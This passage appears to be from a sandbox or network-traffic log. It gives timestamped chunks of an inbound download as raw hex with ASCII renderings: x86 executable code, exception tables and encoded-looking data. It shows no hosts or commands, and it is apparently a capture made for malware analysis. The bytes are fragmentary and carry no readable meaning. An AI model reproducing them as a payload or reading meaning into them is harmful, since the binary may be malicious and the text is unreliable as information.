8b 06 83 c4 14 01 d8 5b 5e c2 08 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 53 89 cb 83 ec 18 8b 43 04 8b 54 24 20 8b 4c 24 24 39 c2 77 3d Data Ascii: L$ D$$)V9t$)$D$[^t&^[^VS\$ +D$$3[^VSL$ D$$)V9t$)$D$[^t&^[^SCT$ L$$9w=
2022-07-20 08:32:57 UTC	615	IN	Data Raw: 8b 5c 24 20 8b 54 24 24 8b 7c 24 28 8b 73 04 8b 1b 89 f0 29 d0 39 f8 0f 47 c7 39 f2 77 29 89 44 24 0c 8b 41 04 01 da 89 54 24 08 89 44 24 04 c7 04 24 00 00 00 00 e8 2f ef ff ff 83 ec 10 83 c4 10 5b 5e 5f c2 0c 00 89 74 24 0c 89 54 24 08 c7 44 24 04 cd 14 5c 00 c7 04 24 dc 13 5c 00 e8 97 dd 00 00 90 90 90 90 90 90 90 83 ec 1c 8b 44 24 24 c7 04 24 00 00 00 00 89 44 24 0c 8b 44 24 20 89 44 24 08 8b 41 04 89 44 24 04 e8 da ee ff ff 83 ec 10 83 c4 1c c2 08 00 90 83 ec 1c 0f be 44 24 24 c7 04 24 00 00 00 00 89 44 24 0c 8b 44 24 20 89 44 24 08 8b 41 04 89 44 24 04 e8 a9 f7 ff ff 83 ec 10 83 c4 1c c2 08 00 56 89 ce 53 83 ec 14 0f be 44 24 24 8b 5c 24 20 c7 44 24 08 01 00 00 00 2b 19 c7 44 24 04 00 00 00 00 89 1c 24 89 44 24 0c e8 72 f7 ff ff 8b 06 83 ec 10 83 c4 Data Ascii: \$ T$$\|$(s)9G9w)D$AT$D$$/[^_t$T$D$\$\D$$$D$D$ D$AD$D$$$D$D$ D$AD$VSD$$\$ D$+D$$D$r
2022-07-20 08:32:57 UTC	631	IN	Data Raw: eb dd 90 90 90 90 90 90 90 90 83 ec 1c 8b 41 04 c7 44 24 04 01 00 00 00 83 e8 01 89 04 24 e8 77 ff ff ff 83 ec 08 83 c4 1c c3 57 56 53 89 cb 8d 7b 08 83 ec 10 8b 49 04 8b 13 8b 44 24 24 8d 34 01 39 fa 74 6a 8b 7b 08 39 fe 77 3e 85 c0 74 20 8d 0c 4a 83 f8 01 74 62 01 c0 89 0c 24 89 44 24 08 8b 44 24 20 89 44 24 04 e8 bc 19 f9 ff 8b 13 31 c0 89 73 04 66 89 04 72 83 c4 10 89 d8 5b 5e 5f c2 08 00 8d b6 00 00 00 00 89 44 24 0c 8b 44 24 20 89 0c 24 89 d9 89 44 24 08 c7 44 24 04 00 00 00 00 e8 9a 01 00 00 8b 13 83 ec 10 eb c1 bf 07 00 00 00 eb 92 8d 74 26 00 8b 44 24 20 0f b7 00 66 89 01 eb aa 90 90 90 90 55 57 56 53 83 ec 3c 8b 7c 24 50 39 f9 74 42 8b 01 8d 69 08 8b 77 04 39 c5 0f 84 81 00 00 00 8b 51 08 89 cb 39 f2 72 38 8d 14 36 85 f6 74 19 8b 0f 83 fe 01 74 Data Ascii: AD$$wWVS{ID$$49tj{9w>t Jtb$D$D$ D$1sfr[^_D$D$ $D$D$t&D$ fUWVS<\|$P9tBiw9Q9r86tt
2022-07-20 08:32:57 UTC	632	IN	Data Raw: 00 00 89 d9 c7 44 24 08 00 00 00 00 c7 44 24 04 00 00 00 00 89 34 24 e8 26 fe ff ff 8b 03 83 ec 10 eb ba 8d b4 26 00 00 00 00 ba 07 00 00 00 eb a8 90 90 90 90 90 90 90 90 90 56 8d 71 08 53 8b 44 24 0c 89 31 8b 18 8d 50 08 39 da 74 2c 89 19 8b 58 08 89 59 08 8b 58 04 89 59 04 89 10 31 d2 c7 40 04 00 00 00 00 66 89 50 08 5b 5e c2 04 00 8d 76 00 8d bc 27 00 00 00 00 8b 58 08 89 59 08 8b 5a 04 89 59 0c 8b 5a 08 89 59 10 8b 5a 0c 89 59 14 eb c2 90 90 90 90 90 90 56 8d 71 08 53 8b 44 24 0c 89 31 8b 18 8d 50 08 39 da 74 2c 89 19 8b 58 04 89 59 04 8b 58 08 89 59 08 89 10 31 d2 c7 40 04 00 00 00 00 66 89 50 08 5b 5e c2 08 00 8d 76 00 8d bc 27 00 00 00 00 8b 58 08 89 59 08 8b 5a 04 89 59 0c 8b 5a 08 89 59 10 8b 52 0c 89 51 14 8b 50 04 89 51 04 31 c9 c7 40 04 00 00 Data Ascii: D$D$4$&&VqSD$1P9t,XYXY1@fP[^v'XYZYZYZYVqSD$1P9t,XYXY1@fP[^v'XYZYZYRQPQ1@
2022-07-20 08:32:57 UTC	648	IN	Data Raw: 95 c0 89 41 04 e8 a0 56 ff ff 89 43 08 83 c4 14 5b 5e c2 04 00 89 c6 e9 56 bf 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 56 53 89 cb 83 ec 14 e8 24 00 00 00 89 1c 24 e8 7c 9d 00 00 83 c4 14 5b 5e c3 89 c6 e9 07 bf 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 56 8d 41 08 53 89 cb 83 ec 14 c7 01 b8 98 5c 00 89 04 24 e8 28 57 ff ff c7 03 14 97 5c 00 83 c4 14 89 d9 5b 5e e9 46 57 ff ff 89 c6 e9 97 be 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 53 31 c0 89 cb 83 ec 18 c7 01 e4 98 5c 00 8b 54 24 24 85 d2 0f 95 c0 89 41 04 8d 44 24 20 89 04 24 e8 5a 56 ff ff 89 43 08 83 c4 18 5b c2 08 00 56 31 c0 53 89 cb 83 ec 14 c7 01 e4 98 5c 00 8b 54 24 20 85 d2 0f 95 c0 89 41 04 e8 c0 55 ff ff 89 43 08 83 c4 14 5b 5e c2 04 00 89 c6 e9 8e be 00 00 90 90 90 Data Ascii: AVC[^VVS$$\|[^VAS\$(W\[^FWS1\T$$AD$ $ZVC[V1S\T$ AUC[^
2022-07-20 08:32:57 UTC	649	IN	Data Raw: 83 ec 18 c7 01 2c 99 5c 00 89 04 24 e8 89 53 ff ff 83 c4 18 89 d9 5b e9 ae 53 ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 90 53 8d 41 08 89 cb 83 ec 18 c7 01 2c 99 5c 00 89 04 24 e8 59 53 ff ff 83 c4 18 89 d9 5b e9 7e 53 ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 90 8b 54 24 04 31 c0 c7 01 48 99 5c 00 85 d2 0f 95 c0 89 41 04 c2 04 00 90 90 90 90 90 90 90 90 90 8b 54 24 04 31 c0 c7 01 48 99 5c 00 85 d2 0f 95 c0 89 41 04 c2 04 00 90 90 90 90 90 90 90 90 90 53 89 cb 83 ec 18 c7 01 48 99 5c 00 e8 1f 53 ff ff 89 1c 24 e8 07 99 00 00 83 c4 18 5b c3 90 90 c7 01 48 99 5c 00 e9 05 53 ff ff 90 90 90 90 90 c7 01 48 99 5c 00 e9 f5 52 ff ff 90 90 90 90 90 8b 54 24 04 31 c0 c7 01 84 99 5c 00 85 d2 0f 95 c0 89 41 04 c2 04 00 90 90 90 90 90 90 90 90 90 8b 54 24 04 31 Data Ascii: ,\$S[SSA,\$YS[~ST$1H\AT$1H\ASH\S$[H\SH\RT$1\AT$1
2022-07-20 08:32:57 UTC	665	IN	Data Raw: 91 f8 ff 8d 58 01 89 1c 24 e8 cc 59 00 00 89 5c 24 08 89 c6 89 7c 24 04 89 04 24 e8 0a 92 f8 ff c7 44 24 04 a0 33 5c 00 c7 04 24 00 00 00 00 e8 c6 91 f8 ff 8d 44 24 1c 89 44 24 04 8b 44 24 40 89 04 24 e8 32 ea f7 ff 8b 44 24 1c dd 55 00 3b 44 24 40 74 09 80 38 00 74 42 dd d8 eb 02 dd d8 8b 44 24 48 d9 ee dd 5d 00 c7 00 04 00 00 00 eb 0b 89 f6 8d bc 27 00 00 00 00 dd d8 89 74 24 04 c7 04 24 00 00 00 00 e8 6e 91 f8 ff 89 34 24 e8 16 59 00 00 83 c4 2c 5b 5e 5f 5d c3 dd 05 28 34 5c 00 df e9 77 0e dd 05 20 34 5c 00 d9 c9 db e9 dd d9 76 c6 dd 05 20 34 5c 00 d9 ee d9 ca df f2 dd d9 76 16 8b 44 24 48 dd 5d 00 c7 00 04 00 00 00 eb a9 8d b4 26 00 00 00 00 dd d8 dd 05 28 34 5c 00 8b 44 24 48 dd 5d 00 c7 00 04 00 00 00 eb 8b e9 04 7a 00 00 90 90 90 90 55 57 56 53 83 Data Ascii: X$Y\$\|$$D$3\$D$D$D$@$2D$U;D$@t8tBD$H]'t$$n4$Y,[^_](4\w 4\v 4\vD$H]&(4\D$H]zUWVS
2022-07-20 08:32:57 UTC	666	IN	Data Raw: 2c 89 44 24 08 8b 44 24 28 89 44 24 04 8b 44 24 24 89 04 24 e8 11 ff f7 ff 89 74 24 04 c7 04 24 04 00 00 00 89 c3 e8 cf 8d f8 ff 89 34 24 e8 77 55 00 00 83 c4 10 89 d8 5b 5e 5f c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 55 89 e5 57 56 8d 4d e0 53 83 ec 3c 8b 5d 08 89 1c 24 e8 89 bb fc ff 83 ec 04 80 7d e0 00 0f 84 b3 00 00 00 8b 03 8b 40 f4 8d 34 03 8b 7e 08 89 7d d0 39 7d 10 0f 8d d5 00 00 00 8b 56 0c 81 e2 b0 00 00 00 89 55 cc 83 fa 20 0f 84 13 01 00 00 2b 7d 10 80 7e 75 00 0f 84 d3 01 00 00 0f b6 56 74 88 55 d7 0f b6 75 d7 eb 1e 8d b6 00 00 00 00 0f b6 55 d7 88 10 83 41 14 01 8b 03 8b 40 f4 83 ef 01 0f 84 d8 00 00 00 8b 4c 03 78 8b 41 14 3b 41 18 72 dc 8b 01 89 34 24 ff 50 34 83 ec 04 83 f8 ff 75 d6 8b 03 8b 48 f4 01 d9 8b 41 14 83 c8 01 89 04 24 e8 Data Ascii: ,D$D$(D$D$$$t$$4$wU[^_UWVMS<]$}@4~}9}VU +}~uVtUuUA@LxA;Ar4$P4uHA$
2022-07-20 08:32:57 UTC	682	IN	Data Raw: 86 88 f7 ff 90 90 90 90 90 90 55 89 e5 56 53 83 ec 20 8b 45 0c 8b 5d 08 8b 00 8b 50 fc 85 d2 78 39 8b 15 d4 89 5b 00 85 d2 75 1f 83 40 fc 01 89 03 8b 45 10 89 d9 89 04 24 e8 7c 1f fc ff 83 ec 04 8d 65 f8 89 d8 5b 5e 5d c3 8d 70 fc f0 83 06 01 eb dc 8d b4 26 00 00 00 00 8d 48 f4 8d 45 f7 c7 44 24 04 00 00 00 00 89 04 24 e8 0a 1b fc ff 83 ec 08 eb ba 89 c6 8d 45 f7 8b 0b 89 04 24 83 e9 0c e8 f3 19 fc ff 50 89 34 24 e8 fa 87 f7 ff 90 90 90 90 90 90 90 90 90 90 55 89 e5 57 56 8d 45 e7 53 83 ec 2c 8b 5d 08 8b 7d 10 89 44 24 08 8b 75 0c c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 e8 33 1b fc ff 31 d2 89 d9 c7 40 08 00 00 00 00 83 c0 0c c7 40 f4 00 00 00 00 66 89 10 89 03 8b 07 8b 40 f4 83 c0 01 89 04 24 e8 c9 2d fc ff 83 ec 04 0f b7 f6 89 d9 89 74 24 04 c7 04 Data Ascii: UVS E]Px9[u@E$\|e[^]p&HED$$E$P4$UWVES,]}D$uD$$31@@f@$-t$
2022-07-20 08:32:57 UTC	683	IN	Data Raw: e9 19 fe ff ff 8b 03 89 d9 ff 50 24 89 74 24 64 e9 16 fe ff ff 8b 74 24 64 eb ac 8b 43 08 8b 53 0c e9 30 ff ff ff 89 c6 89 d7 e9 93 34 00 00 e9 c4 34 00 00 e9 96 34 00 00 90 53 83 ec 28 8b 5c 24 30 c7 44 24 04 00 00 00 00 8d 4c 24 1f 89 1c 24 e8 84 5e fc ff 83 ec 08 80 7c 24 1f 00 74 20 8b 03 8b 40 f4 8b 4c 03 78 8b 41 08 39 41 0c 76 19 0f b6 10 83 c0 01 89 41 08 8b 44 24 34 88 10 83 c4 28 89 d8 5b c3 8d 76 00 8b 01 ff 50 28 83 f8 ff 75 1f 8b 03 8b 48 f4 01 d9 8b 41 14 83 c8 06 89 04 24 e8 f1 a0 ff ff 89 d8 83 ec 04 83 c4 28 5b c3 89 c2 eb c3 83 ea 01 89 04 24 75 19 e8 06 13 00 00 8b 03 03 58 f4 83 4b 14 01 f6 43 10 01 74 20 e8 82 17 00 00 e8 ed 12 00 00 8b 03 8b 50 f4 01 da 83 4a 14 01 f6 42 10 01 74 0e e8 67 17 00 00 e8 62 17 00 00 89 c3 eb 0a e8 39 14 Data Ascii: P$t$dt$dCS0444S(\$0D$L$$^\|$t @LxA9AvAD$4([vP(uHA$([$uXKCt PJBtgb9
2022-07-20 08:32:57 UTC	699	IN	Data Raw: 0f 00 cc 0b d3 02 dc 0f 00 af 0e 5e cb 0f 00 c6 0f 2f 00 00 ff ff 01 21 43 05 c5 03 00 7f 05 f9 03 00 a4 01 05 de 03 00 a3 02 05 9f 04 00 c8 02 05 87 04 00 d9 03 69 00 00 ff ff 01 28 61 05 ff 03 00 96 01 05 b3 04 00 bb 01 05 98 04 00 ba 02 05 d9 04 00 df 02 05 c1 04 00 db 03 05 e7 04 00 93 04 77 00 00 ff ff 01 1b 3f 05 e9 02 00 75 05 ff 02 00 ac 01 05 a5 03 00 d1 01 05 8d 03 00 fa 02 55 00 00 ff ff 01 0f 2a 05 d9 01 00 69 05 ef 01 00 ea 01 25 00 00 ff ff 01 34 36 05 e6 05 00 71 05 ff 05 00 cd 01 05 b1 06 00 fb 01 05 93 06 00 8f 03 05 dd 06 00 b7 03 05 c2 06 00 bf 04 05 86 07 00 e4 04 05 ee 06 00 fa 05 bc 01 00 00 ff ff 01 10 4d 05 ed 01 00 9a 01 05 83 02 00 fe 01 25 00 00 ff ff 01 41 5e 05 e9 05 00 a0 01 05 82 06 00 db 01 05 96 06 00 f0 01 05 a5 07 00 9b Data Ascii: ^/!Ci(aw?uU*i%46qM%A^
2022-07-20 08:32:57 UTC	700	IN	Data Raw: 05 05 a6 19 00 c2 05 05 e5 16 00 f0 05 05 c7 16 00 9e 06 05 a9 16 00 cc 06 05 8b 16 00 ad 07 05 fa 15 00 a7 08 2f a6 19 00 8c 09 05 a8 17 00 ba 09 05 8a 17 00 95 0a 05 f9 16 00 84 0b 05 bc 17 00 f5 0b 05 ee 17 00 a3 0c 05 d0 17 00 ee 0d 05 82 18 00 e3 0e 05 b4 18 00 91 0f 05 96 18 00 a7 10 05 d6 18 00 f4 10 05 c5 18 00 c3 11 05 a6 19 00 e8 11 05 e4 18 00 cf 12 05 98 19 00 f4 12 05 80 19 00 d1 13 05 f2 18 00 c9 14 05 a6 19 00 dd 19 05 00 00 ff ff 01 00 ff ff 01 08 39 28 66 00 77 05 00 00 ff ff 01 00 ff ff 01 00 ff ff 01 00 00 00 ff ff 01 21 36 05 96 03 00 68 05 c7 03 00 8d 01 05 af 03 00 86 02 05 ed 03 00 ab 02 05 d5 03 00 aa 03 66 00 00 ff ff 01 29 af 01 05 e8 04 00 eb 01 05 9c 05 00 90 02 05 81 05 00 a3 03 05 c2 05 00 c8 03 05 aa 05 00 c4 04 05 d0 05 00 Data Ascii: /9(fw!6hf)
2022-07-20 08:32:57 UTC	716	IN	Data Raw: 44 00 50 05 00 00 ff ff 01 08 33 05 44 00 50 05 00 00 ff ff 01 08 32 05 43 00 4f 05 00 00 ff ff 01 08 32 05 43 00 4f 05 00 00 ff ff 01 08 31 05 42 00 4e 05 00 00 ff ff 01 08 31 05 42 00 4e 05 00 00 ff ff 01 08 33 05 44 00 50 05 00 00 ff ff 01 08 33 05 44 00 50 05 00 00 ff ff 01 08 32 05 43 00 4f 05 00 00 ff ff 01 08 32 05 43 00 4f 05 00 00 ff ff 01 08 31 05 42 00 4e 05 00 00 ff ff 01 08 31 05 42 00 4e 05 00 00 ff ff 01 10 34 05 c8 01 00 95 01 25 c4 01 00 d6 01 14 00 00 ff ff 01 10 34 05 c8 01 00 95 01 25 c4 01 00 d6 01 14 00 00 ff ff 01 10 3c 05 c9 01 00 96 01 25 c5 01 00 d7 01 14 00 00 ff ff 01 10 3c 05 c9 01 00 96 01 25 c5 01 00 d7 01 14 00 00 ff ff 01 10 34 05 c8 01 00 95 01 25 c4 01 00 d6 01 14 00 00 ff ff 01 10 34 05 c8 01 00 95 01 25 c4 01 00 d6 01 Data Ascii: DP3DP2CO2CO1BN1BN3DP3DP2CO2CO1BN1BN4%4%<%<%4%4%
2022-07-20 08:32:57 UTC	717	IN	Data Raw: 03 cc 03 05 cd 09 03 eb 03 63 c9 09 03 e5 05 02 b0 08 01 f2 05 22 00 00 a2 06 02 c9 09 03 b5 06 02 f9 06 03 c8 06 02 eb 09 03 dd 06 02 e9 09 03 f2 06 02 c9 09 03 f6 07 05 a6 08 00 ba 08 05 00 00 01 00 00 7d 00 00 00 00 00 ff 00 8c 01 01 80 01 11 05 00 00 8a 01 05 b0 08 01 9e 01 05 ac 08 03 bc 01 05 be 09 03 f9 01 05 fd 06 03 8d 02 05 ae 08 03 ab 02 05 aa 08 03 d8 02 05 fb 06 03 ec 02 05 88 09 03 8a 03 05 86 09 03 b8 03 05 c0 09 03 cc 03 05 cd 09 03 eb 03 63 c9 09 03 e5 05 02 b0 08 01 f2 05 22 00 00 a2 06 02 c9 09 03 b5 06 02 f9 06 03 c8 06 02 eb 09 03 dd 06 02 e9 09 03 f2 06 02 c9 09 03 f6 07 05 a6 08 00 ba 08 05 00 00 01 00 00 7d 00 00 00 00 00 ff 00 5d 01 52 2d d6 01 00 00 8f 02 b4 02 d8 0b 00 cf 04 d9 03 d4 0b 00 ca 08 27 d8 0b 00 86 09 05 d4 0b 00 97 Data Ascii: c"}c"}]R-'
2022-07-20 08:32:57 UTC	733	IN	Data Raw: d0 30 e0 50 d0 00 40 50 80 e0 f0 00 00 00 40 a0 d0 a0 40 a0 40 50 f8 e0 e0 d0 3e 9f ea 0e 80 24 59 fd 71 18 31 1c 9d 11 d4 f8 b9 f3 80 70 32 cf 97 72 21 ed 10 c3 51 fe be cf 74 80 32 b5 10 92 25 be 20 29 3e a0 a4 bf 53 20 6d 2f c4 b5 8e 4d ad 4a 74 00 e0 e0 d0 30 80 50 58 74 e9 c7 2c c5 b7 f4 4c c5 27 44 8c 45 97 64 08 be b4 35 12 d5 97 f4 a8 ce 82 15 0f 95 b7 94 d8 ce f3 95 da 95 57 94 fe 0d e3 c5 0d 95 57 64 ae 4d 54 65 4a c5 17 24 9e 3d 22 45 06 95 97 54 58 ce 46 65 29 c5 47 f4 9c 05 c6 44 e6 95 57 64 6f ec 52 45 2d 35 27 54 4f 4c 15 65 4d 45 27 24 02 b9 63 28 4c 15 f7 34 00 00 00 40 a0 d0 a0 40 a0 40 50 00 e0 e0 d0 30 d0 15 00 80 dc 51 34 50 c0 ee 81 32 30 80 90 d0 80 a0 00 40 40 f0 02 41 8b 31 ae 2f 90 4e a4 00 a0 24 db 30 e0 50 d0 00 63 c2 82 e0 f0 Data Ascii: 0P@P@@@P>$Yq1p2r!Qt2% )>S m/MJt0PXt,L'DEd5WWdMTeJ$="ETXFe)GDWdoRE-5'TOLeME'$c(L4@@@P0Q4P20@@A1/N$0Pc
2022-07-20 08:32:57 UTC	734	IN	Data Raw: 33 68 6f 2d 74 a0 d8 a8 54 a2 00 f9 93 b8 15 4d 14 d0 e8 6c d4 82 e0 a9 c3 b9 40 be ef d0 48 e5 cf 42 50 68 a3 4d 94 30 68 46 84 82 90 09 f3 38 99 9d 14 50 d8 8a 14 d2 80 f9 c3 8c 6c 3c cc 8c 4c fc 6c fc 5c 1c 6c cc 6c 9c 83 bb 3c d3 3c 08 c3 b4 60 63 34 04 55 8b 2b a4 59 cc 64 a4 cb bc 81 0c 9c db 30 80 f1 f4 6b df 50 03 95 29 75 ac 06 bd 05 14 24 7f 5f 89 c5 38 05 ff bf 0d bd 38 c5 6f 2f f1 8d 2d aa 25 cf 1f b8 bb 5b 40 50 03 5d 68 f4 ff ff 42 d7 cd 48 c7 6d 42 50 89 65 7c 25 cf 7f dd 95 1c 65 af cf 02 2d bd ab a5 cf 7f 78 75 d7 a0 00 cd 25 90 fa bf 7f 60 48 89 80 d0 a0 83 64 54 e3 f9 68 dd fb f6 bf af b3 32 78 95 2a f6 bf 5f e3 60 c8 25 69 a6 ff 1f ef 66 bd ab a6 ff 7f c1 5f 86 c5 8a c6 af af 62 8f 26 55 a9 56 ff bf f0 7d 8d c0 78 cf 5f d8 9b 99 a0 00 Data Ascii: 3ho-tTMl@HBPhM0hF8Pl<Ll\ll<<`c4U+Yd0kP)u$_88o/-%[@P]hBHmBPe\|%e-xu%`HdTh2x*_`%if_b&UV}x_
2022-07-20 08:32:57 UTC	750	IN	Data Raw: f4 88 8f d2 e2 72 68 8f 85 f5 2f b8 9a d3 51 50 b3 44 98 5b cd 5c 89 01 b8 79 51 5c e8 21 f6 1b 2f b8 5d 2d 24 bb 38 2f 03 51 d0 83 84 58 0b ad 0c 89 41 20 c9 f1 f4 c8 5c b9 eb 67 68 76 84 ec 52 68 54 e3 81 90 d3 f4 58 2b 7d ac d9 71 a8 19 81 ac 2b 45 bc 2b 15 5d 82 8c 30 6c fc 5c 1c 6c cc 6c 9c 1c fc 2c 9c 1c cc 8c 05 0b 0c a1 89 4d fc 28 9d 86 5a d7 c8 a0 6f c1 03 08 1a d2 81 50 83 44 98 db 7d ac 29 31 d9 01 34 e8 65 81 25 2d 68 66 f8 dc 3b a8 30 d2 a1 30 13 14 a8 8b ed ac 59 71 e8 d9 81 0c cb 15 7c 6b 15 5d c2 0c 40 6c 1c 6c 8c 6c 8c 9c cc 2c 2c 1c 65 0b bc 51 09 dd ac 58 30 ff da bf 38 c5 82 56 54 68 da e2 41 a0 73 c4 48 0b 7d 5c b9 91 59 f1 04 c8 b5 8a 8c 0c 38 a4 1d 16 0b 68 80 12 01 00 83 84 a8 5b ed bc 29 01 58 89 b1 ec b8 6b 4a 79 4a e8 3f d9 30 Data Ascii: rh/QPD[\yQ\!/]-$8/QXA \ghvRhTX+}q+E+]0l\ll,M(ZoPD})14e%-hf;00Yq\|k]@lll,,eQX08VThAsH}\Y8h[)XkJyJ?0
2022-07-20 08:32:57 UTC	751	IN	Data Raw: 73 c4 08 8b 0d 5c 59 a1 c9 f1 44 38 a0 8b 65 5d 58 d8 19 03 eb 78 60 ef 51 a0 b3 94 58 bb cd 6c 59 c1 a8 89 11 ac 7b 45 bc 0b d5 fd f2 9c d0 6c cc 6c 9c 1c fc 2c 9c 1c cc 8c 05 0b 0c a1 89 4d fc 28 c1 d7 0d 8a c8 d6 5e 92 48 08 2a ee 81 50 83 44 98 db 7d ac 29 31 d9 01 34 e8 10 fc 77 4c 68 72 8e d8 2a a8 60 ee a1 30 13 14 a8 8b ed ac 59 71 e8 d9 81 0c 28 4c 5e ce eb 68 e7 d9 1f 5d 38 65 9e a1 40 d3 c4 e8 6b 9d cc 09 11 10 09 c1 44 58 18 21 26 17 38 3d 8a 2f c4 68 0a de 41 a0 73 c4 48 0b 7d 5c b9 d1 c8 29 51 bc db 95 cc 6b b5 8d c2 4c 50 4c 2c 3c cc cc 55 cb 4c 81 29 0d 5c 28 21 03 53 2b b8 94 8a ca e8 68 ea 8e 31 50 23 f4 58 db 7d 7c 19 d1 09 f1 04 28 2e f4 f7 aa e8 45 aa 3e 96 38 c0 de a1 50 53 f4 e8 db 9d fc c9 11 88 69 a1 0c 68 6f be cf af c8 d7 11 76 Data Ascii: s\YD8e]Xx`QXlY{Ell,M(^HPD})14wLhr`0Yq(L^h]8e@kDX!&8=/hAsH}\)QkLPL,<UL)\(!S+h1P#X}\|(.E>8PSihov
2022-07-20 08:32:57 UTC	767	IN	Data Raw: 10 48 b4 df bf 7f b3 64 34 19 95 1c 8b ed b0 11 d1 e4 53 9d ec 11 b8 af 3f 0f ff 83 c4 44 29 95 18 cb f5 fc 02 8b a5 58 80 bb cd b8 51 68 18 79 30 50 23 f4 5c db 65 60 51 32 84 a3 55 ac 29 a5 d4 cb c5 e8 2b 7d 98 eb a8 75 be db 85 d8 b2 db 95 ec 10 db cd 38 7b 11 52 8b 05 7c 5b a8 11 48 f6 4d 00 e0 63 14 20 6b 14 8b d5 78 02 bb 15 4c 60 db 1d 38 d1 1b 85 5c 2b 02 10 48 6a 1d 40 80 b3 64 20 1b 9d 4c 89 ed 84 5b 65 08 02 5b 45 a0 91 60 e4 7b 4d ec 8d 14 a1 c0 f2 cb e5 98 db 08 b1 6b 85 38 d2 b8 70 9d 90 50 b3 94 b0 db 63 db 75 68 c0 5b cd 64 51 cb f5 24 52 a8 0a d2 5f cf 13 14 ac 8b e5 80 80 bb ad bc 81 8b 0d b8 68 67 a2 01 00 6a 40 ca d0 48 3a 86 42 50 b8 f1 75 90 30 43 97 45 7c 6f af cf af 4b 37 97 15 cc 7f 6f 2f 7f 2b 55 90 f2 7b 45 80 d0 bb ed dc c1 5b Data Ascii: Hd4S?D)XQhy0P#\e`Q2U)+}u8{R\|[HMc kxL`8\+Hj@d L[e[E`{Mk8pPcuh[dQ$R_hgj@H:BPu0CE\|oK7o/+U{E[
2022-07-20 08:32:57 UTC	768	IN	Data Raw: cc 5f 1e 78 5d d5 f9 f5 f3 5b d5 5c 89 15 40 7b 4d b4 68 43 ad 31 90 59 e5 ec 2b 15 2c b3 20 40 80 e8 64 8b 7f 1f 73 c4 04 89 05 50 5b ed 4c f1 cb 05 f0 b2 6b 9d dc 68 ce cf 7f 6f 5f 86 90 25 f0 24 42 f7 c5 74 d0 80 a0 00 cb ed 0c 8b 11 88 b9 f5 cc 7b c5 67 45 44 51 d0 30 e0 db 95 fc c9 15 68 6b bd fc 8b 11 c9 f5 2c 4b d2 2b 05 58 8b ad 00 59 38 0b 05 e4 09 c0 54 bb 1d 48 b9 18 58 bb c5 98 5b 65 fd c2 48 a0 3c 55 cb 6c 61 2b 75 9c 80 af be ed 58 81 d8 de df d2 00 c3 94 88 63 08 ff 74 09 87 e5 2c a1 40 a0 40 bb 07 27 a5 2c 30 80 50 00 0a d5 ac bb b5 fd f3 9c 9c fc 4c 5c 1c 4c 6c cc 8c 6c 3c cc 8c 4c 65 2b dc 1b 95 ac 50 48 04 06 cf 1f d3 14 04 cb 1d 8c 63 31 04 51 e8 05 76 2f 5f c3 64 44 db 55 ec 63 12 38 d2 b8 36 56 6f af b3 94 a4 5a 51 db 75 8c c0 5b cd Data Ascii: _x][\@{MhC1Y+, @dsP[Lkho_%$Bt{gEDQ0hk,K+XY8THX[eH<Ula+uXct,@@',0PL\Lll<Le+PHc1Qv/_dDUc86VoZQu[
2022-07-20 08:32:57 UTC	784	IN	Data Raw: 16 ee f1 00 83 c4 4c 2b 95 58 87 e0 48 50 00 e0 e0 5b 7d 78 96 01 80 fa 51 bb 1d 58 d8 a9 bc 30 80 7b 81 0b f5 f8 cb e2 f8 89 05 70 bb ed 20 c1 5d f5 e0 f2 db 9d c0 08 ce 2e ff bf db 80 69 b5 d0 eb 31 cb ed 28 2b 11 a8 c9 05 e4 6b a5 c4 b9 c5 bc 8b cd 7c d9 7d b8 2b 65 b8 02 bd c5 4c 80 0b ed e4 a8 42 cc 01 40 0b 38 29 7d 44 3b a5 e8 cc 55 d2 30 6b 05 d8 8b 05 9c 09 e2 7b 4d d0 89 0a a4 5b e5 94 29 02 58 8b ad 38 59 7a 8c db 45 88 1b b5 6d 92 b4 30 5f 4f 30 15 48 90 80 e9 d8 00 a0 99 d8 00 80 bf 77 70 90 5f 77 40 a0 df 07 70 e0 df 07 40 40 df 57 a0 f0 8f d7 40 40 35 08 e0 40 6c 8c 9c cc 2c 2c 1c fc d5 db ec d1 1b 15 38 db a8 b9 1d ac bb d5 98 5b c5 ac 8b 48 29 fa 8b 05 7c bb 45 6d 53 1c 6c cc f5 db 3c bd a5 40 80 8d 0d 58 d1 08 c0 96 ff ff c3 64 d8 2b 15 Data Ascii: L+XHP[}xQX0{p ].i1(+k\|}+eLB@8)}D;U0k{M[)X8YzEm0_O0Hwp_w@p@@W@@5@l,,8[H)\|EmSl<@Xd+
2022-07-20 08:32:57 UTC	785	IN	Data Raw: b8 1c 12 ed 99 38 70 77 af 2f 83 84 58 0b 10 7b 45 f0 50 cb ed 3c f1 a8 6e 7c 50 00 63 24 d8 0b 46 25 0e 0b c5 ac 62 dd ed d0 b8 bb d3 80 90 3b 97 4b 8f cd ed 08 e8 0f dd 31 a0 3f 26 10 25 c0 af d5 83 cf 1f af e3 c0 1e db 65 bd 33 cc cc cc 8c 6c 1c 6c 8c 6c 8c 9c cc 2c b5 5b dc 03 bc 20 d6 1d 1d c8 b8 11 a0 50 50 bb c5 68 5b c8 b8 51 cd ed 10 e8 a2 0a 30 a0 bd dd 30 48 fa 02 50 d0 3f 56 80 55 d2 34 2c 0d ad 10 e8 cb 90 41 a0 59 e5 bc 2b 05 ac 89 a5 14 5b 7d 7c d3 e9 81 19 1d cc d3 dd c4 50 24 6c e8 91 0b e8 ae 68 4a b1 6b 09 a8 b4 77 a1 30 13 14 a8 89 e5 a0 5b 65 1c 02 5d 4d a0 b8 12 bc f1 00 89 45 ac c8 d1 7b 28 ae 28 5a 11 7b e9 38 40 16 af ff 03 54 58 bb a0 2b 75 a0 00 bb cd 7c 81 68 5e 3b 40 a0 73 c4 48 bb f6 d5 3e 1b 85 5c 52 2d 1d 30 d8 fb b3 d0 00 Data Ascii: 8pw/X{EP<n\|Pc$F%b;K1?&%e3lll,[ PPh[Q00HP?VU4,AY+[}\|P$lhJkw0[e]ME{((Z{8@TX+u\|h^;@sH>\R-0
